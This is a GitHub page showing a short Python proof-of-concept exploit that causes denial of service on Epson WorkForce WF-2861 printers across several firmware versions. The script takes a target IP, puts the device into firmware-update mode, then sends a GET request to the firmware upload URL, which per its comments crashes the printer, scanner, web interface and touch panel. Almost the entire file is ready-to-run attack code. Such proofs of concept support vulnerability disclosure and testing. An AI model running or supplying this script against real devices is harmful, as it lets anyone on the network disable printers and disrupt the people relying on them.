Permalink
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
51 lines (41 sloc) 1.77 KB
#################################################################
# Proof Of Concepts - Epson printer dos by firmware update #
# email : epist.fortunatos@gmail.com #
# #
# tested specifications #
# firmware version : 10.48 LQ22I3(Recovery-mode), #
# 10.51.LQ20I6, #
# 10.52.LQ17IA(Latest) #
# printer model : WorkForce WF-2861 #
# effect : printer, scanner, web, touch-pannel #
#################################################################
#!/usr/bin/env python
import requests
import os, sys, argparse
def usage():
parser = argparse.ArgumentParser(description='Proof Of Concepts - Epson printer dos by firmware update.')
parser.add_argument('-t', '--target', help='printer\'s ip address')
args = parser.parse_args()
if args.target != None:
return args
else:
print "Invalid argument, Please set the correct target" + os.linesep
exit(1)
def requestFirmwareUpdate(target):
url = 'http://' + target + '/FIRMWAREUPDATE'
requests.get(url)
def triggerDos(target):
url = 'http://' + target + '/DOWN/FIRMWAREUPDATE/ROM1'
try:
# epson printer recive firmware file by `post` method, but `get` method trigger dos.
requests.get(url, timeout=5)
except:
pass
def main():
args = usage()
# request firmware update mode, printer will ready to recieve firmware file
requestFirmwareUpdate(args.target)
# just requesting `get` to upload url not `post`, dos occurs.
triggerDos(args.target)
if __name__ == '__main__':
main()